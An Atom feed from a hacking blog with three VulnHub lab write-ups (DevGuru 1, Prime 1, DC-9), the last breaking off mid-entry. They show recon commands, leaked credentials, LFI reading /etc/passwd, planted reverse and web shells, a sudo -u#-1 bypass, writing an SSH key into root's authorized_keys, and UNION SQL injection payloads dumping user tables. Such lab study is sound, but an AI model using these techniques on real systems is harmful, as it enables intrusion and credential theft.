<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.8.7">Jekyll</generator><link href="https://blog.ziemni.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.ziemni.com/" rel="alternate" type="text/html" /><updated>2021-05-05T17:27:26+02:00</updated><id>https://blog.ziemni.com/feed.xml</id><title type="html">Blog - Ziemni</title><subtitle>Writeups, Tools and Hacking Related Stuff!</subtitle><author><name>Ziemni</name></author><entry><title type="html">[VulnHub] DevGuru 1</title><link href="https://blog.ziemni.com/writeup/vulnhub/vh-devguru-1/" rel="alternate" type="text/html" title="[VulnHub] DevGuru 1" /><published>2021-05-05T00:00:00+02:00</published><updated>2021-05-05T00:00:00+02:00</updated><id>https://blog.ziemni.com/writeup/vulnhub/vh-devguru-1</id><content type="html" xml:base="https://blog.ziemni.com/writeup/vulnhub/vh-devguru-1/">&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;
&lt;h3 id=&quot;port-scan&quot;&gt;Port Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -p- -sV -vv -T4 192.168.2.110&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
8585/tcp open  unknown syn-ack
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Regular website on port 80 and Gitea on port 8585.&lt;/p&gt;

&lt;h3 id=&quot;directory-scan-port-80&quot;&gt;Directory Scan (port 80)&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffuf -u http://192.168.2.110/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.txt,.html&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.git
.htaccess               [Status: 200, Size: 1678, Words: 282, Lines: 53]
0                       [Status: 200, Size: 12669, Words: 929, Lines: 331]
About                   [Status: 200, Size: 18661, Words: 977, Lines: 478]
Services                [Status: 200, Size: 10032, Words: 815, Lines: 267]
about                   [Status: 200, Size: 18661, Words: 977, Lines: 478]
adminer.php             [Status: 200, Size: 4145, Words: 186, Lines: 51]
backend                 [Status: 302, Size: 410, Words: 60, Lines: 12]
config                  [Status: 301, Size: 315, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 12719, Words: 929, Lines: 331]
modules                 [Status: 301, Size: 316, Words: 20, Lines: 10]
plugins                 [Status: 301, Size: 316, Words: 20, Lines: 10]
server.php              [Status: 200, Size: 0, Words: 1, Lines: 1]
services                [Status: 200, Size: 10032, Words: 815, Lines: 267]
storage                 [Status: 301, Size: 316, Words: 20, Lines: 10]
themes                  [Status: 301, Size: 315, Words: 20, Lines: 10]
vendor                  [Status: 301, Size: 315, Words: 20, Lines: 10]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/adminer.php&lt;/code&gt; - Admirer 4.8.0&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/backend/&lt;/code&gt; - October CMS build 469&lt;/p&gt;

&lt;p&gt;We can extract &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git&lt;/code&gt; using goop.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;goop http://192.168.2.110/ ./git/&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-rw-r--r-- 1 ziemni ziemni 362514 May  5 14:23 adminer.php
-rw-r--r-- 1 ziemni ziemni   1640 May  5 14:23 artisan
drwxr-xr-x 2 ziemni ziemni   4096 May  5 14:23 bootstrap
drwxr-xr-x 2 ziemni ziemni   4096 May  5 14:23 config
-rw-r--r-- 1 ziemni ziemni   1173 May  5 14:23 index.php
drwxr-xr-x 5 ziemni ziemni   4096 May  5 14:23 modules
drwxr-xr-x 3 ziemni ziemni   4096 May  5 14:23 plugins
-rw-r--r-- 1 ziemni ziemni   1518 May  5 14:23 README.md
-rw-r--r-- 1 ziemni ziemni    551 May  5 14:23 server.php
drwxr-xr-x 6 ziemni ziemni   4096 May  5 14:23 storage
drwxr-xr-x 4 ziemni ziemni   4096 May  5 14:23 themes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;october-cms&quot;&gt;October CMS&lt;/h3&gt;

&lt;p&gt;Within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/config/database.php&lt;/code&gt; we can find database credentials.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;        'mysql' =&amp;gt; [
            'driver'     =&amp;gt; 'mysql',
            'engine'     =&amp;gt; 'InnoDB',
            'host'       =&amp;gt; 'localhost',
            'port'       =&amp;gt; 3306,
            'database'   =&amp;gt; 'octoberdb',
            'username'   =&amp;gt; 'october',
            'password'   =&amp;gt; 'SQ66EBYx4GT3byXH',
            'charset'    =&amp;gt; 'utf8mb4',
            'collation'  =&amp;gt; 'utf8mb4_unicode_ci',
            'prefix'     =&amp;gt; '',
            'varcharmax' =&amp;gt; 191,
        ],
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using those credentials we can access this database through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adminer.php&lt;/code&gt; and view the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backend_users&lt;/code&gt; table.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/table.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Although I wasn’t able to crack that hash, I just replaced it with a new one. After that, I could log into october cms.&lt;/p&gt;

&lt;p&gt;I’ve created a new page called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ziemni&lt;/code&gt; and I made it execute whatever is passed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c&lt;/code&gt; argument.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/create.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/ls.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;privesc&quot;&gt;PrivEsc&lt;/h2&gt;
&lt;h3 id=&quot;www-data---frank&quot;&gt;www-data -&amp;gt; frank&lt;/h3&gt;

&lt;p&gt;Looking for files owned by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;frank&lt;/code&gt; user revealed some interesting directories.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find / -user frank -ls 2&amp;gt;/dev/null | grep -v &quot;/proc/&quot;&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   656007      4 drwxr-xr-x   7 frank    frank        4096 Nov 19 02:39 /var/lib/gitea
   662525      4 drwxr-xr-x   2 frank    frank        4096 Nov 19 02:39 /var/lib/gitea/custom
   665045      4 drwxr-x---   2 frank    frank        4096 Nov 19 02:42 /var/lib/gitea/log
   665017      4 drwxr-x---   3 frank    frank        4096 Nov 19 02:50 /var/lib/gitea/indexers
   665000      4 drwxr-x---   7 frank    frank        4096 Nov 19 02:50 /var/lib/gitea/data
   665040      4 drwxr-xr-x   2 frank    frank        4096 Nov 19 02:39 /var/lib/gitea/public
   656501     56 -rw-r--r--   1 frank    frank       56688 Nov 19 19:34 /var/backups/app.ini.bak
   919157 104928 -rwxrwxr-x   1 frank    frank    107443064 Nov 19 02:42 /usr/local/bin/gitea
   408540      4 drwxr-x---   3 frank    frank         4096 May  5 08:19 /opt/gitea
   410236      4 drwxr-x---   7 frank    frank         4096 Nov 19 21:12 /home/frank
   535852      4 drwxr-x---   2 frank    frank         4096 Nov 19 21:11 /etc/gitea
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/backups/app.ini.bak&lt;/code&gt; file there is a password to the gitea’s database.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/gitea.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can use it in adminer to view the database. In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user&lt;/code&gt; table we can change frank’s password and password hachink algorithm.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/frank.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we are in the Gitea.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/git.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ve created a git hook to execute my shell on update.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/upaate.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Updating the repo spawns a reverse shell.&lt;/p&gt;

&lt;h3 id=&quot;frank---root&quot;&gt;frank -&amp;gt; root&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;frank&lt;/code&gt; can execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/sqlite3&lt;/code&gt; as NOT root.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/sudo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There is this old trick to bypass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!root&lt;/code&gt; by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -u#-1&lt;/code&gt;. This way we can spawn &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sqlite3&lt;/code&gt; as root and use GTFOBins to spawn a shell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/devguru1/root.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="october" /><category term="sql" /><category term="gitea" /><category term="sudo" /><summary type="html">Simple, but interesting boot2root box. A lot of enumeration on every stage, but keeping the flow consistent.</summary></entry><entry><title type="html">[VulnHub] Prime 1</title><link href="https://blog.ziemni.com/writeup/vulnhub/vh-prime-1/" rel="alternate" type="text/html" title="[VulnHub] Prime 1" /><published>2021-05-04T00:00:00+02:00</published><updated>2021-05-04T00:00:00+02:00</updated><id>https://blog.ziemni.com/writeup/vulnhub/vh-prime-1</id><content type="html" xml:base="https://blog.ziemni.com/writeup/vulnhub/vh-prime-1/">&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;
&lt;h3 id=&quot;port-scan&quot;&gt;Port Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -p- -T4 -vv -sV 192.168.2.55&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;directory-scan&quot;&gt;Directory Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffuf -u http://$TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.txt,.html&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dev                     [Status: 200, Size: 131, Words: 24, Lines: 8]
index.php               [Status: 200, Size: 136, Words: 8, Lines: 8]
image.php               [Status: 200, Size: 147, Words: 8, Lines: 7]
javascript              [Status: 301, Size: 317, Words: 20, Lines: 10]
secret.txt              [Status: 200, Size: 412, Words: 66, Lines: 16]
server-status           [Status: 403, Size: 300, Words: 22, Lines: 12]
wordpress               [Status: 301, Size: 316, Words: 20, Lines: 10]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://192.168.2.55/dev&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hello,
now you are at level 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.
Happy hacking. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://192.168.2.55/secret.txt&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Looks like you have got some secrets.

Ok I just want to do some help to you. 

Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck 
Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

//see the location.txt and you will get your next move//
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As requested in the link:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffuf -u 'http://192.168.2.55/index.php?FUZZ=something' -w /usr/share/wordlists/dirb/big.txt -fs 136&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;file                    [Status: 200, Size: 206, Words: 15, Lines: 8]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Based on one of the previous notes:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://192.168.2.55/index.php?file=location.txt&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ok well Now you reah at the exact parameter

Now dig some more for next one
use 'secrettier360' parameter on some other php page for more fun. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;lfi&quot;&gt;LFI&lt;/h3&gt;

&lt;p&gt;Finally we have some real LFI.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://192.168.2.55/image.php?secrettier360=/etc/passwd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/prime1/lfi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are two users on the system &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;saket&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;victor&lt;/code&gt;. For some reason saket user had this in his passwd file:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find password.txt file in my directory:/home/saket&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://192.168.2.55/image.php?secrettier360=/home/saket/password.txt&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;follow_the_ippsec 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;wordpress&quot;&gt;Wordpress&lt;/h3&gt;

&lt;p&gt;Let’s go back and look at the wordpress installation.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;saked&lt;/code&gt; user didn’t work with that password, but &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;victor&lt;/code&gt; did.&lt;/p&gt;

&lt;p&gt;After looking around for a bit, I found a random writeable file in one of the themes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/prime1/secret.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ve put in php reverse shell into it and navigated to the page.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://192.168.2.55/wordpress/wp-content/themes/twentynineteen/secret.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/prime1/shell.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;privesc&quot;&gt;PrivEsc&lt;/h2&gt;
&lt;h3 id=&quot;www-data---saket&quot;&gt;www-data -&amp;gt; saket&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www-data&lt;/code&gt; user can execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/saket/enc&lt;/code&gt; as root. Additionally, I’ve found a file `/opt/backup/server_database/backup_pass’ which contained a password to this binary.&lt;/p&gt;

&lt;p&gt;After executing it and giving it a password it created some new file in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/saket&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;I know you are the fan of ippsec.

So convert string &quot;ippsec&quot; into md5 hash and use it to gain yourself in your real form.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When executing this binary, but passing it md5 of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ippsec&lt;/code&gt; in replaced the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enc.txt&lt;/code&gt; file with a new string. This time it was AES with the same md5 hash.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Dont worry saket one day we will reach to
our destination very soon. And if you forget 
your username then use your old password
==&amp;gt; &quot;tribute_to_ippsec&quot;

Victor,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;saket---root&quot;&gt;saket -&amp;gt; root&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;saket&lt;/code&gt; can execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/victor/undefeated_victor&lt;/code&gt; as root.&lt;/p&gt;

&lt;p&gt;After a bit of poking, it seems like this binary takes whatever is in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/challenge&lt;/code&gt; and executes it.&lt;/p&gt;

&lt;p&gt;Getting root was as simple as putting a command that would put my ssh key in root’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ssh&lt;/code&gt; folder into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/challenge&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; /home/victor/undefeated_victor
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'mkdir /root/.ssh/authorized_keys'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; challenge
&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; /home/victor/undefeated_victor
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'echo &quot;&amp;lt;my_ssh_key&quot;&amp;gt;/root/.ssh/authorized_keys'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; challenge
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/prime1/root.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Ziemni</name></author><category term="lfi" /><category term="wordpress" /><category term="sudo" /><summary type="html">Another wannabe OSCP-like box with 'TrY hArDeR' attitude. Unrealistic, not OSCP-like, waste of time. ¯&amp;#92;&amp;#95;(ツ)&amp;#95;/¯</summary></entry><entry><title type="html">[VulnHub] DC-9</title><link href="https://blog.ziemni.com/writeup/vulnhub/vh-dc-9/" rel="alternate" type="text/html" title="[VulnHub] DC-9" /><published>2021-05-03T00:00:00+02:00</published><updated>2021-05-03T00:00:00+02:00</updated><id>https://blog.ziemni.com/writeup/vulnhub/vh-dc-9</id><content type="html" xml:base="https://blog.ziemni.com/writeup/vulnhub/vh-dc-9/">&lt;h2 id=&quot;recon&quot;&gt;Recon&lt;/h2&gt;
&lt;h3 id=&quot;port-scan&quot;&gt;Port Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap -T 4 -p- -sV --script vuln -vv 192.168.2.125&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack Apache httpd 2.4.38 ((Debian))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;directory-scan&quot;&gt;Directory Scan&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ffuf -u http://192.168.2.125/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.txt,.html&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;config.php              [Status: 200, Size: 0, Words: 1, Lines: 1]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
display.php             [Status: 200, Size: 2961, Words: 199, Lines: 42]
includes                [Status: 301, Size: 317, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 917, Words: 43, Lines: 43]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1]
manage.php              [Status: 200, Size: 1210, Words: 43, Lines: 51]
results.php             [Status: 200, Size: 1056, Words: 43, Lines: 55]
search.php              [Status: 200, Size: 1091, Words: 47, Lines: 50]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10]
session.php             [Status: 302, Size: 0, Words: 1, Lines: 1]
welcome.php             [Status: 302, Size: 0, Words: 1, Lines: 1]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;sql-injection&quot;&gt;SQL Injection&lt;/h3&gt;
&lt;p&gt;There is a search box on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/search.php&lt;/code&gt; that is vulnerable to SQL Injection.&lt;/p&gt;

&lt;p&gt;For payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;' or 1=1--+&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/dc9/sqli.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are 6 values that are printed.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1' UNION SELECT 1,2,3,4,5,6--+&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/vh/dc9/vals.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It is possible to enumerate evetrything manually.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,schema_name,0x7c) FROM information_schema.schemata--+

ID: 1&amp;lt;br/&amp;gt;
Name: 2 3&amp;lt;br/&amp;gt;
Position: 4&amp;lt;br /&amp;gt;
Phone No: 5&amp;lt;br /&amp;gt;
Email: |information_schema|,|Staff|,|users|&amp;lt;br/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,TABLE_NAME,0x7c) FROM information_schema.tables WHERE table_schema = 'Staff'--+

ID: 1&amp;lt;br/&amp;gt;
Name: 2 3&amp;lt;br/&amp;gt;
Position: 4&amp;lt;br /&amp;gt;
Phone No: 5&amp;lt;br /&amp;gt;
Email: |StaffDetails|,|Users|&amp;lt;br/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' UNION SELECT 1,2,3,4,5,GROUP_CONCAT(0x7c,COLUMN_NAME,0x7c) FROM information_schema.columns WHERE table_name = 'Users'--+

ID: 1&amp;lt;br/&amp;gt;
Name: 2 3&amp;lt;br/&amp;gt;
Position: 4&amp;lt;br /&amp;gt;
Phone No: 5&amp;lt;br /&amp;gt;
Email: |UserID|,|Username|,|Password|&amp;lt;br/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' UNION SELECT UserID,Username,Password,4,5,6 FROM Staff.Users--+

ID: 1&amp;lt;br/&amp;gt;
Name: admin 856f5de590ef37314e7c3bdf6f8a66dc&amp;lt;br/&amp;gt;
Position: 4&amp;lt;br/&amp;gt;
Phone No: 5&amp;lt;br/&amp;gt;
Email: 6&amp;lt;br/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;' UNION SELECT 1,username,password,4,5,6 FROM users.UserDetails--+

ID: 1&amp;lt;br/&amp;gt;
Name: marym 3kfs86sfd&amp;lt;br/&amp;gt;
Position: 4&amp;lt;br /&amp;gt;
Phone No: 5&amp;lt;br /&amp;gt;
Email: 6&amp;lt;br/&amp;gt;
&amp;lt;br/&amp;gt;
ID: 1&amp;lt;br/&amp;gt;
Name: julied 468sfdfsd2&amp;lt;br/&amp;gt;
Position: 4&amp;lt;br /&amp;gt;
Phone No: 5&amp;lt;br /&amp;gt;
Email: 6&amp;lt;br/&amp;gt;
&amp;lt;br/&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The hash is on crackstation and admin credentials are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin:transorbital1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After logging in an error appears at the bottom of the page.&lt;/p&gt;

